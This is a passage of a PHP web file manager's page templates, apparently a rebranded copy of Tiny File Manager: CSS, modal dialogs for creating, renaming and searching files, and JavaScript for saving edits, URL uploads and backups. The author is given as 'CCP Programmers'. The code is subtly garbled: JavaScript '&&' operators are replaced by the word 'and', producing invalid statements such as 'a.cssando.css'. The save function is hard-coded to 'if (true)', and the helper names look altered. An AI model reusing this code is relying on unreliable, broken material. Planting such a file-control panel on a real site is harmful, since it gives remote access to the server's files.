0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="sympathizing">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
